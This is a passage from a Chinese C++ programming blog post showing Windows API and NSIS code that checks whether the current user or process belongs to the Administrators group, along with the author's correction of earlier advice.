#0000ff;">return</span><span style="color: #000000;">&nbsp;FALSE;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000;">//</span><span style="color: #008000;">&nbsp;Retrieve&nbsp;the&nbsp;Administrators&nbsp;group&nbsp;well-known&nbsp;SID<br><br>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000;">//</span><span style="color: #008000;">&nbsp;For&nbsp;some&nbsp;reason&nbsp;CreateWellKnownSid&nbsp;generates&nbsp;error&nbsp;C3861&nbsp;on&nbsp;Developer&nbsp;Studio&nbsp;.NET:<br>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000;">//</span><span style="color: #008000;">&nbsp;error&nbsp;C3861:&nbsp;'CreateWellKnownSid':&nbsp;identifier&nbsp;not&nbsp;found,&nbsp;even&nbsp;with&nbsp;argument-dependent&nbsp;lookup</span><span style="color: #008000;"><br></span><span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;BYTE&nbsp;&nbsp;&nbsp;&nbsp;SidAuth[]&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;SECURITY_NT_AUTHORITY;<br>&nbsp;&nbsp;&nbsp;&nbsp;PSID&nbsp;&nbsp;&nbsp;&nbsp;pAdminSid;<br>&nbsp;&nbsp;&nbsp;&nbsp;AllocateAndInitializeSid(&nbsp;(PSID_IDENTIFIER_AUTHORITY)SidAuth,&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">2</span><span style="color: #000000;">,&nbsp;SECURITY_BUILTIN_DOMAIN_RID,&nbsp;DOMAIN_ALIAS_RID_ADMINS,&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;NULL,&nbsp;NULL,&nbsp;NULL,&nbsp;NULL,&nbsp;NULL,&nbsp;</span><span style="color: #000000;">&amp;</span><span style="color: #000000;">pAdminSid&nbsp;);<br><br>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000;">//</span><span style="color: #008000;">&nbsp;Will&nbsp;use&nbsp;this&nbsp;to&nbsp;retrieve&nbsp;the&nbsp;SID&nbsp;of&nbsp;the&nbsp;group</span><span style="color: #008000;"><br></span><span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;BYTE&nbsp;&nbsp;&nbsp;&nbsp;buffSid[SECURITY_MAX_SID_SIZE];<br>&nbsp;&nbsp;&nbsp;&nbsp;wchar_t&nbsp;&nbsp;&nbsp;&nbsp;buffDomain[DNLEN</span><span style="color: #000000;">+</span><span style="color: #000000;">1</span><span style="color: #000000;">];<br>&nbsp;&nbsp;&nbsp;&nbsp;DWORD&nbsp;&nbsp;&nbsp;&nbsp;dwSidSize;<br>&nbsp;&nbsp;&nbsp;&nbsp;DWORD&nbsp;&nbsp;&nbsp;&nbsp;dwDomainSize;<br>&nbsp;&nbsp;&nbsp;&nbsp;SID_NAME_USE&nbsp;m_sidnameuse;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">for</span><span style="color: #000000;">(&nbsp;DWORD&nbsp;i&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">0</span><span style="color: #000000;">;&nbsp;i&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">&nbsp;entriesread;&nbsp;</span><span style="color: #000000;">++</span><span style="color: #000000;">i&nbsp;)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dwSidSize&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;</span><span style="color: #0000ff;">sizeof</span><span style="color: #000000;">(buffSid);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dwDomainSize&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;DNLEN;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000;">//</span><span style="color: #008000;">&nbsp;Although&nbsp;in&nbsp;general&nbsp;is&nbsp;a&nbsp;bad&nbsp;idea&nbsp;to&nbsp;call&nbsp;directly&nbsp;the&nbsp;W&nbsp;or&nbsp;A&nbsp;versions&nbsp;of&nbsp;API<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000;">//</span><span style="color: #008000;">&nbsp;we&nbsp;do&nbsp;it&nbsp;here&nbsp;to&nbsp;avoid&nbsp;converting&nbsp;the&nbsp;localGroups[i].lgrui0_name&nbsp;back&nbsp;to&nbsp;ANSI<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000;">//</span><span style="color: #008000;">&nbsp;This&nbsp;kind&nbsp;of&nbsp;security&nbsp;API&nbsp;is&nbsp;only&nbsp;present&nbsp;on&nbsp;NT/2000/XP&nbsp;family&nbsp;only,&nbsp;so<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000;">//</span><span style="color: #008000;">&nbsp;the&nbsp;W&nbsp;version&nbsp;is&nbsp;present&nbsp;and&nbsp;safe&nbsp;to&nbsp;use</span><span style="color: #008000;"><br></span><span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">(&nbsp;LookupAccountNameW(&nbsp;NULL,&nbsp;localGroups[i].lgrui0_name,&nbsp;buffSid,&nbsp;</span><span style="color: #000000;">&amp;</span><span style="color: #000000;">dwSidSize,&nbsp;(LPWSTR)buffDomain,&nbsp;</span><span style="color: #000000;">&amp;</span><span style="color: #000000;">dwDomainSize,&nbsp;</span><span style="color: #000000;">&amp;</span><span style="color: #000000;">m_sidnameuse)&nbsp;)&nbsp;</span><span style="color: #008000;">//</span><span style="color: #008000;">&nbsp;no&nbsp;sid&nbsp;for&nbsp;the&nbsp;actual&nbsp;group</span><span style="color: #008000;"><br></span><span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">(&nbsp;EqualSid(&nbsp;buffSid,&nbsp;pAdminSid&nbsp;)&nbsp;)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bAdmin&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;TRUE;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">break</span><span style="color: #000000;">;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;FreeSid(&nbsp;pAdminSid&nbsp;);<br>&nbsp;&nbsp;&nbsp;&nbsp;NetApiBufferFree(localGroups);<br><br>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">return</span><span style="color: #000000;">&nbsp;bAdmin;<br>}<br></span></div>
<br><br>注意有时我们只需要判断当前process是否以管理员权限运行。貌似可以通过调用GetTokenInformation 和AllocateAndInitializeSid 来判断，<br><br>google "Searching for a SID in an Access Token in C++" site:msdn.microsoft.com可找到一段代码, 请自行研究自行测试。<br><br>
<div style="border: 1px solid #cccccc; padding: 4px 5px 4px 4px; background-color: #eeeeee; font-size: 13px; width: 98%;"><!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>--><span style="color: #0000ff;">#define</span><span style="color: #000000;">&nbsp;MAX_NAME&nbsp;256</span><span style="color: #000000;"><br><br>BOOL&nbsp;SearchTokenGroupsForSID&nbsp;(VOID)&nbsp;<br>{<br>DWORD&nbsp;i,&nbsp;dwSize&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">0</span><span style="color: #000000;">,&nbsp;dwResult&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">0</span><span style="color: #000000;">;<br>HANDLE&nbsp;hToken;<br>PTOKEN_GROUPS&nbsp;pGroupInfo;<br>SID_NAME_USE&nbsp;SidType;<br></span><span style="color: #0000ff;">char</span><span style="color: #000000;">&nbsp;lpName[MAX_NAME];<br></span><span style="color: #0000ff;">char</span><span style="color: #000000;">&nbsp;lpDomain[MAX_NAME];<br>BYTE&nbsp;sidBuffer[</span><span style="color: #000000;">100</span><span style="color: #000000;">];<br>PSID&nbsp;pSID&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;(PSID)</span><span style="color: #000000;">&amp;</span><span style="color: #000000;">sidBuffer;<br>SID_IDENTIFIER_AUTHORITY&nbsp;SIDAuth&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;SECURITY_NT_AUTHORITY;<br>&nbsp;&nbsp;&nbsp;<br></span><span style="color: #008000;">//</span><span style="color: #008000;">&nbsp;Open&nbsp;a&nbsp;handle&nbsp;to&nbsp;the&nbsp;access&nbsp;token&nbsp;for&nbsp;the&nbsp;calling&nbsp;process.</span><span style="color: #008000;"><br></span><span style="color: #000000;"><br></span><span style="color: #0000ff;">if</span><span style="color: #000000;">&nbsp;(</span><span style="color: #000000;">!</span><span style="color: #000000;">OpenProcessToken(&nbsp;GetCurrentProcess(),&nbsp;TOKEN_QUERY,&nbsp;</span><span style="color: #000000;">&amp;</span><span style="color: #000000;">hToken&nbsp;))&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;printf(&nbsp;</span><span style="color: #000000;">"</span><span style="color: #000000;">OpenProcessToken&nbsp;Error&nbsp;%u\n</span><span style="color: #000000;">"</span><span style="color: #000000;">,&nbsp;GetLastError()&nbsp;);<br>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">return</span><span style="color: #000000;">&nbsp;FALSE;<br>}<br><br></span><span style="color: #008000;">//</span><span style="color: #008000;">&nbsp;Call&nbsp;GetTokenInformation&nbsp;to&nbsp;get&nbsp;the&nbsp;buffer&nbsp;size.</span><span style="color: #008000;"><br></span><span style="color: #000000;"><br></span><span style="color: #0000ff;">if</span><span style="color: #000000;">(</span><span style="color: #000000;">!</span><span style="color: #000000;">GetTokenInformation(hToken,&nbsp;TokenGroups,&nbsp;NULL,&nbsp;dwSize,&nbsp;</span><span style="color: #000000;">&amp;</span><span style="color: #000000;">dwSize))&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;dwResult&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;GetLastError();<br>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">(&nbsp;dwResult&nbsp;</span><span style="color: #000000;">!=</span><span style="color: #000000;">&nbsp;ERROR_INSUFFICIENT_BUFFER&nbsp;)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&nbsp;</span><span style="color: #000000;">"</span><span style="color: #000000;">GetTokenInformation&nbsp;Error&nbsp;%u\n</span><span style="color: #000000;">"</span><span style="color: #000000;">,&nbsp;dwResult&nbsp;);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">return</span><span style="color: #000000;">&nbsp;FALSE;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>}<br><br></span><span style="color: #008000;">//</span><span style="color: #008000;">&nbsp;Allocate&nbsp;the&nbsp;buffer.</span><span style="color: #008000;"><br></span><span style="color: #000000;"><br>pGroupInfo&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;(PTOKEN_GROUPS)&nbsp;GlobalAlloc(&nbsp;GPTR,&nbsp;dwSize&nbsp;);<br><br></span><span style="color: #008000;">//</span><span style="color: #008000;">&nbsp;Call&nbsp;GetTokenInformation&nbsp;again&nbsp;to&nbsp;get&nbsp;the&nbsp;group&nbsp;information.</span><span style="color: #008000;"><br></span><span style="color: #000000;"><br></span><span style="color: #0000ff;">if</span><span style="color: #000000;">(</span><span style="color: #000000;">!</span><span style="color: #000000;">&nbsp;GetTokenInformation(hToken,&nbsp;TokenGroups,&nbsp;pGroupInfo,&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dwSize,&nbsp;</span><span style="color: #000000;">&amp;</span><span style="color: #000000;">dwSize&nbsp;)&nbsp;)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;printf(&nbsp;</span><span style="color: #000000;">"</span><span style="color: #000000;">GetTokenInformation&nbsp;Error&nbsp;%u\n</span><span style="color: #000000;">"</span><span style="color: #000000;">,&nbsp;GetLastError()&nbsp;);<br>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">return</span><span style="color: #000000;">&nbsp;FALSE;<br>&nbsp;&nbsp;&nbsp;}<br><br></span><span style="color: #008000;">//</span><span style="color: #008000;">&nbsp;Create&nbsp;a&nbsp;SID&nbsp;for&nbsp;the&nbsp;BUILTIN\Administrators&nbsp;group.</span><span style="color: #008000;"><br></span><span style="color: #000000;"><br></span><span style="color: #0000ff;">if</span><span style="color: #000000;">(</span><span style="color: #000000;">!</span><span style="color: #000000;">&nbsp;AllocateAndInitializeSid(&nbsp;</span><span style="color: #000000;">&amp;</span><span style="color: #000000;">SIDAuth,&nbsp;</span><span style="color: #000000;">2</span><span style="color: #000000;">,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SECURITY_BUILTIN_DOMAIN_RID,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DOMAIN_ALIAS_RID_ADMINS,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">0</span><span style="color: #000000;">,&nbsp;</span><span style="color: #000000;">0</span><span style="color: #000000;">,&nbsp;</span><span style="color: #000000;">0</span><span style="color: #000000;">,&nbsp;</span><span style="color: #000000;">0</span><span style="color: #000000;">,&nbsp;</span><span style="color: #000000;">0</span><span style="color: #000000;">,&nbsp;</span><span style="color: #000000;">0</span><span style="color: #000000;">,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&amp;</span><span style="color: #000000;">pSID)&nbsp;)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;printf(&nbsp;</span><span style="color: #000000;">"</span><span style="color: #000000;">AllocateAndInitializeSid&nbsp;Error&nbsp;%u\n</span><span style="color: #000000;">"</span><span style="color: #000000;">,&nbsp;GetLastError()&nbsp;);<br>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">return</span><span style="color: #000000;">&nbsp;FALSE;<br>&nbsp;&nbsp;&nbsp;}<br><br></span><span style="color: #008000;">//</span><span style="color: #008000;">&nbsp;Loop&nbsp;through&nbsp;the&nbsp;group&nbsp;SIDs&nbsp;looking&nbsp;for&nbsp;the&nbsp;administrator&nbsp;SID.</span><span style="color: #008000;"><br></span><span style="color: #000000;"><br></span><span style="color: #0000ff;">for</span><span style="color: #000000;">(i</span><span style="color: #000000;">=</span><span style="color: #000000;">0</span><span style="color: #000000;">;&nbsp;i</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">pGroupInfo</span><span style="color: #000000;">-&gt;</span><span style="color: #000000;">GroupCount;&nbsp;i</span><span style="color: #000000;">++</span><span style="color: #000000;">)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">&nbsp;(&nbsp;EqualSid(pSID,&nbsp;pGroupInfo</span><span style="color: #000000;">-&gt;</span><span style="color: #000000;">Groups[i].Sid)&nbsp;)&nbsp;{<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000;">//</span><span style="color: #008000;">&nbsp;Lookup&nbsp;the&nbsp;account&nbsp;name&nbsp;and&nbsp;print&nbsp;it.</span><span style="color: #008000;"><br></span><span style="color: #000000;"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dwSize&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;MAX_NAME;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">(&nbsp;</span><span style="color: #000000;">!</span><span style="color: #000000;">LookupAccountSid(&nbsp;NULL,&nbsp;pGroupInfo</span><span style="color: #000000;">-&gt;</span><span style="color: #000000;">Groups[i].Sid,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;lpName,&nbsp;</span><span style="color: #000000;">&amp;</span><span style="color: #000000;">dwSize,&nbsp;lpDomain,&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&amp;</span><span style="color: #000000;">dwSize,&nbsp;</span><span style="color: #000000;">&amp;</span><span style="color: #000000;">SidType&nbsp;)&nbsp;)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dwResult&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;GetLastError();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">(&nbsp;dwResult&nbsp;</span><span style="color: #000000;">==</span><span style="color: #000000;">&nbsp;ERROR_NONE_MAPPED&nbsp;)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcpy_s&nbsp;(lpName,&nbsp;dwSize,&nbsp;</span><span style="color: #000000;">"</span><span style="color: #000000;">NONE_MAPPED</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">else</span><span style="color: #000000;">&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(</span><span style="color: #000000;">"</span><span style="color: #000000;">LookupAccountSid&nbsp;Error&nbsp;%u\n</span><span style="color: #000000;">"</span><span style="color: #000000;">,&nbsp;GetLastError());<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">return</span><span style="color: #000000;">&nbsp;FALSE;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&nbsp;</span><span style="color: #000000;">"</span><span style="color: #000000;">Current&nbsp;user&nbsp;is&nbsp;a&nbsp;member&nbsp;of&nbsp;the&nbsp;%s\\%s&nbsp;group\n</span><span style="color: #000000;">"</span><span style="color: #000000;">,&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;lpDomain,&nbsp;lpName&nbsp;);<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000;">//</span><span style="color: #008000;">&nbsp;Find&nbsp;out&nbsp;whether&nbsp;the&nbsp;SID&nbsp;is&nbsp;enabled&nbsp;in&nbsp;the&nbsp;token.</span><span style="color: #008000;"><br></span><span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">&nbsp;(pGroupInfo</span><span style="color: #000000;">-&gt;</span><span style="color: #000000;">Groups[i].Attributes&nbsp;</span><span style="color: #000000;">&amp;</span><span style="color: #000000;">&nbsp;SE_GROUP_ENABLED)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(</span><span style="color: #000000;">"</span><span style="color: #000000;">The&nbsp;group&nbsp;SID&nbsp;is&nbsp;enabled.\n</span><span style="color: #000000;">"</span><span style="color: #000000;">);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">else</span><span style="color: #000000;">&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">&nbsp;(pGroupInfo</span><span style="color: #000000;">-&gt;</span><span style="color: #000000;">Groups[i].Attributes&nbsp;</span><span style="color: #000000;">&amp;</span><span style="color: #000000;">&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SE_GROUP_USE_FOR_DENY_ONLY)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(</span><span style="color: #000000;">"</span><span style="color: #000000;">The&nbsp;group&nbsp;SID&nbsp;is&nbsp;a&nbsp;deny-only&nbsp;SID.\n</span><span style="color: #000000;">"</span><span style="color: #000000;">);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">else</span><span style="color: #000000;">&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(</span><span style="color: #000000;">"</span><span style="color: #000000;">The&nbsp;group&nbsp;SID&nbsp;is&nbsp;not&nbsp;enabled.\n</span><span style="color: #000000;">"</span><span style="color: #000000;">);<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>}<br><br></span><span style="color: #0000ff;">if</span><span style="color: #000000;">&nbsp;(pSID)<br>&nbsp;&nbsp;&nbsp;&nbsp;FreeSid(pSID);<br></span><span style="color: #0000ff;">if</span><span style="color: #000000;">&nbsp;(&nbsp;pGroupInfo&nbsp;)<br>&nbsp;&nbsp;&nbsp;&nbsp;GlobalFree(&nbsp;pGroupInfo&nbsp;);<br></span><span style="color: #0000ff;">return</span><span style="color: #000000;">&nbsp;TRUE;<br>}</span></div>
<br>向曾被我误导的同志表示真挚的道歉和沉痛的悼念。<br><br>NSIS下判断当前用户是否管理员：<br><a target="_blank"  href="http://nsis.sourceforge.net/Check_if_the_current_user_is_an_Administrator">http://nsis.sourceforge.net/Check_if_the_current_user_is_an_Administrator</a><br>
<div style="border: 1px solid #cccccc; padding: 4px 5px 4px 4px; background-color: #eeeeee; font-size: 13px; width: 98%;"><!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>--><span style="color: #000000;">!macro&nbsp;IsUserAdmin&nbsp;RESULT<br>&nbsp;!define&nbsp;Index&nbsp;</span><span style="color: #800000;">"</span><span style="color: #800000;">Line${__LINE__}</span><span style="color: #800000;">"</span><span style="color: #000000;"><br>&nbsp;&nbsp;&nbsp;StrCpy&nbsp;${RESULT}&nbsp;0<br>&nbsp;&nbsp;&nbsp;System::Call&nbsp;</span><span style="color: #800000;">'</span><span style="color: #800000;">*(&amp;i1&nbsp;0,&amp;i4&nbsp;0,&amp;i1&nbsp;5)i.r0</span><span style="color: #800000;">'</span><span style="color: #000000;"><br>&nbsp;&nbsp;&nbsp;System::Call&nbsp;</span><span style="color: #800000;">'</span><span style="color: #800000;">advapi32::AllocateAndInitializeSid(i&nbsp;r0,i&nbsp;2,i&nbsp;32,i&nbsp;544,i&nbsp;0,i&nbsp;0,i&nbsp;0,i&nbsp;0,i&nbsp;0,&nbsp;\</span><span style="color: #800000;"><br></span><span style="color: #000000;">&nbsp;&nbsp;&nbsp;i&nbsp;0,</span><span style="color: #000000;">*</span><span style="color: #000000;">i&nbsp;.R0)i.r5</span><span style="color: #800000;">'<br></span><span style="color: #000000;">&nbsp;&nbsp;&nbsp;System::Free&nbsp;$0<br>&nbsp;&nbsp;&nbsp;System::Call&nbsp;</span><span style="color: #800000;">'</span><span style="color: #800000;">advapi32::CheckTokenMembership(i&nbsp;n,i&nbsp;R0,*i&nbsp;.R1)i.r5</span><span style="color: #800000;">'</span><span style="color: #000000;"><br>&nbsp;&nbsp;&nbsp;StrCmp&nbsp;$</span><span style="color: #000000;">5</span><span style="color: #000000;">&nbsp;0&nbsp;${Index}_Error<br>&nbsp;&nbsp;&nbsp;StrCpy&nbsp;${RESULT}&nbsp;$R1<br>&nbsp;&nbsp;&nbsp;Goto&nbsp;${Index}_End<br>&nbsp;${Index}_Error:<br>&nbsp;&nbsp;&nbsp;StrCpy&nbsp;${RESULT}&nbsp;</span><span style="color: #000000;">-</span><span style="color: #000000;">1</span><span style="color: #000000;"><br>&nbsp;${Index}_End:<br>&nbsp;&nbsp;&nbsp;System::Call&nbsp;</span><span style="color: #800000;">'</span><span style="color: #800000;">advapi32::FreeSid(i&nbsp;R0)i.r5</span><span style="color: #800000;">'</span><span style="color: #000000;"><br>&nbsp;!undef&nbsp;Index<br>!macroend</span></div>
<br><a id="AjaxHolder_Comments_CommentList_ctl00_NameLink" target="_blank"></a> <img src ="http://www.cppblog.com/aqazero/aggbug/14197.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/aqazero/" target="_blank">brent</a> 2005-07-25 09:11 <a href="http://www.cppblog.com/aqazero/archive/2005/07/25/14197.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>